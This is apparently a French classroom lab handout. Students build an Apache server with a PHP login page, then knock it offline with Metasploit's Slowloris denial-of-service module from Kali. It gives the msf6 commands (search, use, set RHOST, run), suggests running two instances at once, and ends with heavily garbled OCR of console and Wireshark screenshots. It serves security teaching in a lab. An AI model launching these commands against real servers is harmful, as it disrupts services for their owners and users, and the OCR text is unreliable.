TP ATTAQUE DOS* d’un serveur APACHE avec KALI
*DOS = Attaque par Déni de service, « Denial of Service » en anglais
Rappel : Ce type d’attaque est illégal. Il est effectué ici uniquement à titre pédagogique dans le cadre d’un laboratoire de formation. Il est strictement interdit de lancer ce type d’attaque sur le site d’une entreprise ou sur un serveur dans une entreprise sous peine de sanctions pénales.
[image: ]Source :  wikipedia
Accéder à votre serveur Apache (dans la ferme de serveurs)
Noter son adresse : 172.30.107.180
Vérifier que le service apache est démarré
[image: ]
Vérifier que le site est accessible.
[image: ][image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{3E640BAD-6079-4640-9FDE-6671AE1CEABC}.png]
Vérifier que le module php est installé
[image: ]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{529D1DE8-65B4-4462-A2A6-CDD5B3585B88}.png]
S’il n’est pas installé, utiliser la commande suivante : apt-get install php
[image: ]
Confirmer l’installation (en saisissant ‘o’) puis vérifier à nouveau que le paquet est installé.
 Insérer votre copie d’écran de votre vérification :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{3EA45E3A-B670-43F5-A7E2-0A3CE1E3EB29}.png]
Accéder au répertoire /var/www/html. C’est là que se trouvent les pages WEB
[image: ]
Renommer la page index.html en index.bak
[image: ]

[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{C60CE3D2-D284-4286-B2FD-30C8C8C17B81}.png]
Editer avec vi, vim ou nano une nouvelle page index.html, et inscrire le code suivant :
(Personnellement j’ai l’habitude de vim qui fait une coloration syntaxique automatique intéressante)
[image: ]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{04EC4633-A3FF-47FB-8B9C-B4CAB26D4993}.png]
· Tester le bon fonctionnement de votre page
[image: ]
 Insérer votre propre copie d’écran de votre vérification, avec l’adresse IP visible :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{C6E5EFDA-AE4A-4417-883A-08028EC23113}.png]

· Vous remarquer qu’il s’agit effectivement d’un formulaire. Pour l’instant si vous validez vous obtiendrez un message d’erreur :
[image: ]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{3244DD48-6FC6-4020-B4B9-D6966681772B}.png]
Si vous avez compris le code HTML, vous avez compris qu’il s’agissait effectivement d’un formulaire qui renvoyait, quand on cliquait sur « Valider » sur une page appelée « valid.php » :
[image: ]
· « valid.php » est le nom indiqué derrière le paramètre « action= » et correspond à la page appelée lorsque les données du formulaire sont « postées » en cliquant sur le bouton de validation du formulaire.
Editer maintenant une 2ème page web, écrite cette fois-ci en php. Elle se nommera donc « valid.php »
[image: ]
Le code sera le suivant (par exemple) :
[image: ]
· Pour info, ici on vérifie seulement si le mot de passe « posté » (autrement dit saisi dans le formulaire et validé par le bouton « Valider ») est « mdp ».
Vérifier le bon fonctionnement de votre nouvelle page :
[image: ]
 Insérer votre propre copie d’écran de votre vérification, avec l’adresse IP visible :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{78424A7C-0620-4AFB-912D-AC299D0E14BB}.png]

[image: ]
 Insérer votre propre copie d’écran de votre vérification, avec l’adresse IP visible :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{05AE6302-F02A-49EF-B7C2-B83011D4279F}.png]

Maintenant qu’on a un petit site fonctionnel, on va « l’attaquer » pour provoquer une déni de service, autrement dit pour empêcher les internautes d’accéder à ce site web.
L’attaque va consister à « inonder » le service apache de requêtes SYN, pour qu’il mette du temps à répondre aux requêtes HTTP légitimes, voire se paralyse.
[image: ]Un des outils connu est SLOWLORIS.
Sur KALI, Metasploit est un outil « couteau-suisse » qui fournit des informations sur les vulnérabilités des systèmes informatiques et propose des outils de tests, comme SLOWLORIS justement.

Nous allons voir comment l’utiliser dans le cadre de notre laboratoire de test.

Sur KALI, rechercher l’outil. Vous le trouverez facilement par la barre de recherche :
[image: ]
L’exécution de cet outil nécessite des privilèges. Vous serez donc probablement amenés à taper le mot de passe de kali (pour info mon utilisateur kali s’appelle delta, mais le votre est bien kali) :
[image: ]
Mais ensuite l’outil est lancé dans une fenêtre de shell :
[image: ]

· Normalement un logo (aléatoire) s’affiche après quelques secondes, puis une invite de commande 	 msf6 >
 Insérer votre propre copie d’écran de votre vérification, avec le logo visible :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{1AAE6E75-26B8-472D-A53D-E4C0C13A2CB2}.png]
Lorsqu’on connait l’outil, on peut le rechercher directement dans la base METASPLOIT :
[image: ]
[image: ]
Pour l’utiliser il suffit de taper la commande use, suivie du n° indiqué dans la colonne #, ici 0 :
[image: ]
· On voit qu’on est alors en mode « utilisation de slowloris »
Pour avoir de la documentation sur l’outil, on peut taper la commande : show options
[image: ]

On voit, entre autres chose que l’on peut définir le « remote host » avec le mot-clé ou la variable « rhost », ainsi que le « remote port », entre autres choses.
Nous allons définir la cible, mais pas le port puisque par défaut c’est 80.
[image: ]
 Insérer votre propre copie d’écran de votre vérification, avec l’adresse IP visible :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{FBC182A9-9248-44DE-B49A-2FE9666E7A38}.png]
NB : il est possible de vérifier les paramètres définis à tout moment en tapant la commande : set
[image: ]
 Insérer votre propre copie d’écran de votre vérification, avec l’adresse IP visible :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{3FEB6AD8-1D9D-4F2A-901F-56BCEF75562E}.png]
Pour lancer « l’exploit » avec ces paramètres, autrement dit pour lancer l’attaque, rien de plus simple, on tape tout simplement la commande : run.
[image: ]
 Insérer votre propre copie d’écran de votre vérification, avec l’adresse IP visible :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{38347ED5-093C-4446-97F1-E1D69427E41D}.png]
L’outil lance des « slaves » de 150 demandes de connexion TCP à intervalle régulier :
[image: ]
Vous pouvez le vérifier en lançant une capture wireshark :
[image: ]
 Insérer votre propre copie d’écran de votre vérification, avec l’adresse IP visible et identifier les demandes de synchronisation TCP pour les mettre en évidence :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{C1B94A0A-E580-475C-8B9C-01B700182A47}.png]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{9677685E-C48C-40B9-ACE0-6FCBEE29491F}.png]
Vous pouvez vérifier, depuis votre poste de travail, que votre site n’est plus accessible :
 (
La page ne s’affiche pas et le sablier tourne !
)[image: ]
 Insérer votre propre copie d’écran de votre vérification, avec l’adresse IP visible et le sablier visible :
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{14CA7747-20CC-454E-AE4A-963B127C72FA}.png]






NB : Il peut arriver qu’une seule attaque ne suffise pas, notamment si votre serveur web a des ressources suffisantes pour supporter le nombre de connexions.
A ce moment là ouvrez une 2ème instance de METASPLOIT sur KALI et lancer une 2ème attaque simultanément sur votre machine.
[image: ]
· Ci-dessus 2 attaques simultanées sont en cours.
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{A232C027-850A-4DED-BF6B-8874D898C505}.png]
· Cela a marche à partir de deux fenêtres d’attaque.
NB : On peut alors parler de DDOS (Distributed Denial-Of-Service Attack), même si normalement les attaques sont lancées de plusieurs machines distinctes.
Vous devriez constater que l’accès à la page est difficile, et si toutefois le formulaire s’affiche, la validation prend du temps, comme on le voit ci-dessous, avec le sablier qui tourne :
[image: ]
Après quelques secondes (ou minutes), vous aurez peut-être la validation :
[image: ]
NB : Souvent l’attaque fonctionne bien au début, puis s’atténue ensuite. Vous pouvez interrompre l’attaque (avec CTRL-C – une ou plusieurs fois) puis la relancer, comme le montre la copie d’écran ci-après :
 (
Puis on a redémarré l’attaque
) (
Ici on voit qu’on a interrompu l’attaque avec 2 CTRL+C
)[image: ]
[image: C:\Users\jboun\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\ScreenClip\{F18A39C9-87AD-4870-B243-588A29E3A2C8}.png]
· Effectivement quand on lance l’attaque cela fonction mais sur une duré court mais le site reste indisponible durant une dure approximatif de 10s
Pour plus d’information sur le fonctionnement de SLOWLORIS, vous pouvez visualiser la vidéo suivante :
https://www.youtube.com/watch?v=ELLI1honGh8
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This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server

installed at this site is working properly. You should replace this file (located at
/var/umi/html/index.html) before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:
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|-~ apache2. conf
| “--  ports.conf
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root@serveurueb: /var/www/html# apt-get install php
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root@jboun-D12-HITP:~# apt-get install php

Lecture des listes de paguets... Fait
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0 mis 4 jour, 0 nouvellement installes,
root@iboun-D12-HTTR: -4 [

Fait

(2:8.2+93) .
0 & enlever et 45 non mis & jour.
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root@serveurueh:™# cd svar/won/html
root@serveurueb: /var/wuhtml#
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root@serveurweb: /var/www/html#
root@serveurueb: /var/um/hinl my index.html index.bak
root@serveurueb: /var/wo/itmlg
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root@jboun-DI12-ETTP:~# cd /var/www/html
Z00t6Iboun-DL2-ATTE: /vaz/wme/nEmlt my in

index.neml info.php

Z00t6Jboun-DL2-ATTR: /vaz /wns/benlt mw index.Boml index.bak
£o0t@3boun-D12-HTTE: /var /www/hemf ||
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<body>

<form act ion="valid.php" method="post">

<hz>Merci de vous authentifier</hz>

[<p>Login : <input type="text' name=login></p>
<p>Mot de passe : <input type="text" name=mdp></p>

<input type="submit" value="valider">

</farm>
</body>
</html>
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Not Found

The requested URL was not found on this server.

Apache/2.4.62 (Debian) Server at 192.168.1.39 Port 80
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Non trouvé

L'URL demandée n'a pas été trouvée sur ce serveur.

Serveur Apache/2.4.62 (Debian) é 172.30.107.180 Port 80




image18.png
Iroot@serveurweb: /var/www/html# vim valid.php,
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<html>
<body>
<7php

echo "<h2>Bonjour " . $_POST["login"] ."</h2>" ;

if ($_POST["mdp")=="ndp")
echo "Authentification réussie;

else
echo "L'authentification a &choué 1";
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msf6 > search slowloris

Matching Modules

# Name Disclosure Date Rank Check Description
auxiliary/dos/http/SUGHIHES 2009-06-17 normal No  SUGWIBHES Denial of Service Attack

Interact with a module by name or index. For example info 0, use @ or use auxiliary/dos/http/slowloris

nsfe > I
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msf6 > use 0

msf6 auxiliary(dos/hitp/slontoric) > ]
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nsf6 > use @

msf6 auxiliary(doo//1t0p/<10uloric) > show options

Module options (auxiliary/dos/http/slowloris):

The delay between sending keep-alive headers
Randomizes user-agent with each request
The target address

The number of sockets to use in the attack

Name Current Setting Required Description
delay 15 yes
rand_user_agent true yes
rhost. yes
rport. 80 yes The target port
sockets Bt yes
ssl false yes

Negotiate SSL/TLS for outgoing connections

View the full module info with the info, or info -d command.

msf6 auxiliary(dos/hiip/slonionic) > I
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msf6 auxiliary(doo//101p/<louloric) > set RHOST 192.168.1.39
RHOST = 192.168.1.39
msf6 auxiliary(dos/http/slowloris) >
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Bsf6 > use 0

566 auxiliary((o:/1 /< 10010r1) > show options

Module options (auxiliary/dos/http/slonloris):

Nane Current setting Required
delay 15 yes
rand_user_agent true yes
rhost yes
rport I yes
sackets 150 yes
st False yes

Description

The delay between sending keep-alive headers
Randonizes user_agent with each request

The target address

The target port

The number of sockets to use in the attack
Negotiate SSL/TLS for outgoing comections

View the full module info with the info, or info ¢ command.

56 auxiliary(40: 1000/ 10n0n) > s

T Unknoun comand: 5. Run the hly command for more details.

56 auxiliary(1 o /11 [/ 00010) > set RHOST
RAOST = 172.30.107.180
56 auxiliary(ios /oo s lonioria) >

172.30.107.180
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msf6 auxiliary(:oo/liip cioiionin) > set

Global

No entries in data store.

Module: dos/http/slowloris

Name value
VERBOSE false
WORKSPACE

delay 15
rand_user_agent true

rhost. 192.168.1.39
rport. 80

sockets 150

ssl false

nsf6 auxiliary(dos/hitp/slowloric) > I
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File Actions Edit View Help
View the full module info with the i1fo, or info -d comand.
I
™ unknown comand: 5. Run the nely cosmand for more details.
56 auxiTiary(" | /[ 110010) > set RHOST 172.30.107.180
RHOST = 172.30.107.180
56 auxiliary(Foo/ |0/ 1onorie) > set

Global

No entries in data store.

Module: dos/nttp/slowloris

Nane value
VeRsosE false
WORKSPACE.

delay 15
rand_user_agent true.

rhost 172.30.107.180
rport a0

zackets 150

=t false

— e

56 auxiliary(dos /it s lonioria) >
S A ST B

I N
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msf6 auxiliary(dos/itip/<lonloric) > un
[+] Starting server ...

[*] Attacking 192.168.1.39 with 150 sockets
[*] Creating sockets

[+] Sending keep-alive headers ... Socket count: 150
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1s66 auxiliary(dos/00p/<1onTorls) > run
1 Starting server

+] Attacking 172.30.107.180 with 150 sackets

(+] Creating sockets

[+] Sending keep-alive headers ... Sackst caunt: 150
4] Sending keep-alive headers .. Sacket caunt: 150
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15£6 auxiliary(dos/iiip/slonioric) > run
[*] Starting server ...

[*] Attacking 192.168.1.39 with 150 sockets
[+] Creating sockets ..
[+] Sending keep-alive headers ... Socket count: 150
[+] Sending keep-alive headers ... Socket count: 150
[+] Sending keep-alive headers ... Socket count: 150
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Capture en cours de eth0

&
Fichier Editer Vue Aller Capture Analyser Statistiques Telephonie Wireless Outils Aide

ADA® s AB@ « ¢« »n<«>EEoooclR

(WTtep

No. Time Source Destination Protocol _Length Info
1
192.168 1 GET /21273 HTTP/1.1
168 1 18 [ACK] S
168 1 80 [SYN] Se:
168 1 2932 [SYN, ACK]
168 1 [ACK] S
168 1 80 [PSH, ACK] Sex
192 80 - 32932 [ACK] Seq=1 Ack=21 Win=65152 Len=
192 GET /2923 HTTP/1.1 [TCP mbled in 9
1 80 . 32932 [ACK] S 65024 Le:
1
1 6657
1 6658
1 6659
898500256 ] 1 6660 — 80 [SYN
0.898625220 8.139.179.215 1 6661 . 80 [SYN
» Frame 1: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) ¢ bc 24 11 28 89 83 aa bb cc dd ee ff 08 00 45 00 - $
» Ethernet IT, Src: aa:bbicc:dd:ee:ff (aa:bb:cc:dd:ee:ff), Dst: Proxmc @0 34 d7 3e 40 00 40 06 df a7 cO a8 01 66 cO a8  4->@.@
» Internet Protocol Version 4, Src: 192.168.1.102, Dst: 192.168.1.39 01 27 9f 2c 00 50 db 8d 37 c1 3c 68 f2 f4 80 10 - '., P 7.<
» Transmission Control Protocol, Src Port: 40748, Dst Port: 80, Seq: : 01 5 84 04 00 00 01 01 ©8 Ga 9c e7 45 62 c6 7f

40 2d
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msf6 auxiliary(dos/hiip/slonioris) > run

[] Starting server

[+] Attacking 172.35.107.180 with 150 sockets.
[+] Creating sockets

[+] Sending;
[+] Senaing
[+] Senaing
[+] Senaing
[+] Sending
[+] Sending
[+] Sending
[+] Sending
[+] Sending
[+] Sending
[+] Sending
[+] Senaing
[+] Senaing
[+] Senaing
[+] Senaing
[+] Senaing
[+] Sending

keep-alive
keep-alive
keep-ative
keep-alive
keep-alive
keep-alive
keep-alive
keep_alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-ative
keep-alive
keep-alive
keep-alive

neaders
neaders
neaders
neaders
neaders
neaders
neadars
headers
[
headers
headers
headers
headers
neaders
neaders
neaders
neaders

. socket
" Socket
" Socket

Socket
Sacker
Sacket

" Sacket
" Sacket
" Sacket
" Socket
" Socket
" Socket
" socket
" Socket
" Socket
" Socket

Sacker

count: 150
count.

count.
count:
count:
count.
count.
count.
count.
count.
count





image42.png
. Captuingrom etho
Flle Edt View Go Capture Analyze Statiscs Telephony Wireless Tools Help

ADAORBBB <« >0«>MEoc o @E

Destination Protocol_Length Info
1769 20. 475465729 172.30.11.55 172.30.107.160 66 41100 ~ 80 [ACK]
1770 26.475524048 172.30.11.55 172.30.167.180 66 40918 _ 80 [ACK]

1777 26.478233435 367100 66 41522 ~ 80 [ACK]
1778 20.476352074  172.39.11.55 130,107,180 66 41640 ~ 80 [ACK] Len=0 Tsval=17745;
1779 26.478431089 3 30.107. 180 c 66 41294 _ 80 [ACK] Seq=219 Ack=483 Wi Len=p Tsval=17745:
1780 26478612898 11.55 548 HTTP/1.1 468 Request Timeout (text/html)

1781 20.478613122 172.30. 30.11.55 66 80 . 41256 [FIN, ACK] Seq=483 Ack=221 Win=65024 Len=0 TSva
1782 26.478618929 3 30.107.180 c 66 41258 — 80 [ACK] Seq=221 Ack=483 Win=64128 Len=5 TSval=17745;
1783 26479171965 107,180 66 41656 _ 80 [ACK] Seq-193 Ack=484 Win=54128 Len=d TSval=17745:
1784 29.479337956_172.30. 150.107.180 66 41078 _ 80 [ACK] Seq=284 Ack=484 Win=64128 Len=b TSval=17745:
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Shell No.1

Fichier Actions Editer Vue Aide

[#] starting server...

[*] Attacking 192.168.1.39 with 150 sockets
[*] Creating sockets

[#] Sending keep-alive headers
“lia

Socket count: 150

“Cl | Stopping running against current target
[*] Control-C again to force quit all targets.
[#] Auxiliary module execution completed

msf6 auxiliary(dos /it ip/s ouloric) >

msf6 auxiliary(dos/itip/slouloris) >

msf6 auxiliary(/os/itin/slowioni<) > run

[+] Starting server ..

[#] Attacking 192.168.1.39 with 150 sockets
[#] creating sockets

[+] Sending keep-alive headers ... Socket count: 150
[*] Sending keep-alive headers ... Socket count: 150

[*] Sending keep-alive headers ... Socket count
[*] Sending keep-alive headers... Socket count: 150
“cl - stopping running against current target
[#] Control-C again to force quit all targets

[*] Auxiliary module execution completed

msf6 auxiliary(dos /1t p/< ouloric) > run

[*] Starting server ...

[*] Attacking 192.168.1.39 with 150 sockets

[*] Creating sockets

[+] Sending keep-alive headers... Socket count: 150

s, _omeeemmme. J W

Fichier Actions Editer Vue Aide

[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]

sending
sending
Serding
Ssﬁ@ing
sending
sending
sending
sending
Sending

keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive

“c| - stopping running
[*] Control-C again to
[*] Auxiliary module execution completed
msf6 auxiliary(doo//1t0p/s ouloric) > run
Starting server ..
Attacking 192.168.1.39 with 150 sockets

[+]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*]
[*1

[*]
L}

Creating sockets

sending
sending
sending
sending
sending
sending
sending
sending
sending

sending

keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive
keep-alive

keep-alive

headers ..

headers
headers
headers
headers
headers
headers
headers
headers

against current target
force quit all targets.

headers
headers
headers
headers
headers
headers
headers
headers
headers

headers ...

Shell No.1

Socket.
Socket.
Socket.
Socket.
Socket.
Socket.
Socket.
Socket.
Socket.

Socket.
Socket.
Socket.
Socket.
Socket.
Socket.
Socket.
Socket.
Socket.

Socket.

count:
count:
count
count
count:
count
count
count:
count

count:
count
count
count:
count
count
count:
count
count:

count:

150
150
150
150
150
150
150
150
150

150
150
150
150
150
150
150
150
150

150
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File Actions Edit View Help

headers .
headers .
headers .
headers .
headers .
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headers
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Socket
Socket
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Sockat
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File Actions Edit View Help

Name  Value

RAOST  172.30.107.180

Module: dos/nttp/slonloris

Nane value
VeRBosE false

delay 15

rand user_agent true

shost 172.30.107.180
rport a

sockets 150

g False

56 auxtLiary(dos/1 /s Lonloria) > un
[+] Starting serve:

[+] Attacking 172.30,107.180 with 150 sackets.
[+] creating sockets

[+] Sending keep-alive headers ... Socket count: 150
[+] Sending keep-alive neaders ... Socket count: 150
[+] Sending keep-alive headers ... Sacket count: 150
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@ 192168139l php

€ > C A Nonsécurisé | 192.168.1.39/valid.php

Bonjour david

Authentification réussie
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Fichier Actions Editer Vue Aide

[+] Sending keep-alive headers

[#] Sending keep-alive headers
[+#] sending keep-alive headers
[#] sending keep-alive headers
[#] sending keep-alive headers
[+] sending keep-alive headers
[+] sending keep-alive headers
[+] sending keep-alive headers
[#] sending keep-alive headers
[#] sending keep-alive headers
[#] sending keep-alive headers
[#] sending keep-alive headers
[+] sending keep-alive headers
[#] sending keep-alive headers
[+] sending keep-alive headers
[+] sending keep-alive headers

[+] Starting server ...

[+] Creating sockets ...
[+#] sending keep-alive headers

“cl - stopping running against current target
[#] Control-C again to force quit all targets
“cl - Auxiliary interrupted by the console user
[*] Auxiliary module execution completed

msf6 auxiliary(dos/itip/slouloris) >

msf6 auxiliary(dos//iitp/slouloric) > run

Shell No. 1

Socket count:

Socket count:
Socket count
Socket count:
Socket count
Socket count
Socket count:
Socket count
Socket count
Socket count:
Socket count
Socket count
Socket count:
Socket count
Socket count
Socket count:

[*] Attacking 192.168.1.39 with 150 sockets

Socket count:

150

150
150

150

150

150

150

150

150

150
150
150

150
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R File Actions Edit View Help

[+] Sending kesp-alive headers ..
[+] Sending keep-alive headers ..
[+] Sending keep-alive headers ..
Sending keep-alive headers ..
Sending keep-alive headers
] Sending keep-alive headers ... Socket count:
Sending keep-alive headers ... Socket count.
Sending keep-alive headers ... Socket count:
Sending keep-alive headers . Socket count:
Sending kesp-alive headers ... Socket count:
Sending keep-alive headers ... Socket count:
Sending keep-alive headers ... Socket count:
Sending keep-alive headers ... Socket count:

Socket count:
Socket. count.
Socket. count.
Socket. count.
Socket. count:

| [+] Sending keep-alive headers ... Socket count: 0 sockets,
Sending keep-alive headers .. Socket count’
Sending keep-alive headers .. Socket count’ cket count.
Sending keep-alive headers .. Socket count; cket count.
Sending keep-alive headers ... Socket count; cket count:
“c - Stopping running against current target . cket count:
[+] Control-C again to force quit all targets. cket count:
[+] Auxiliary module execution completed cket count:
56 auxiliary(Zo0 100 o) > un cket count
5] starting server ... cket count
[+] Attacking 172.36.107.180 with 150 sockets cket count
[+] Creating sockats - cket count:

[+] Sending kesp-alive headers ... Socket count: 150
[+] Sending keep-alive headers .. Socket count’

P e 2 J
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En France [modifier | modifier le code ]
En France, lattaque par déni de service est punie pénalement a Iarticle 323-2 du Code Pénal - « Le fait d'entraver ou de fausser le
fonctionnement d'un systeme de traitement automatisé de données est puni de cing ans d'emprisonnement et de 75 000 euros

d'amende » ">
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root@serveurueb: /var/www/html# service apache? status
o apache2.service - The Apache HTTP Server

Loaded:

Active
Docs
Frocess

»  Frocess
Main PID

Tasks:
Hemory:
CrRl:
CGroup:

loaded (/1ib/systend/system/apache2.service; enabled; preset: enabled
active (running) since Tue 2025-04-08 10:54:22 CEST; 1 week 0 days ago
https://httpd.apache.org/docs/2.4/
6898 ExecStart=/usr/shin/apachectl start (code=exited, status=0/SUCCESS)
27402 ExecReload=/usr/shin/apachect] graceful (code=exited, status=0/SUCCESS)
6962 (apache2)
11 (limit: 2306)
18.34
27.729s
/systen.slicesapache2.service

6902 /usr/shin/apache2 -k start

30117 susr/shinsapache2 -k start

30156 /usr/shinsapache2 -k start

30171 susr/shinsapache2 -k start

30187 susr/shinsapache2 -k start

30193 susr/shinsapache2 -k start

30207 /usr/shinsapache2 -k start

30213 /usr/shinsapache2 -k start

30224 /usr/shinsapache2 -k start

30223 /usr/shinsapache2 -k start

30253 /usr/shinsapache2 -k start





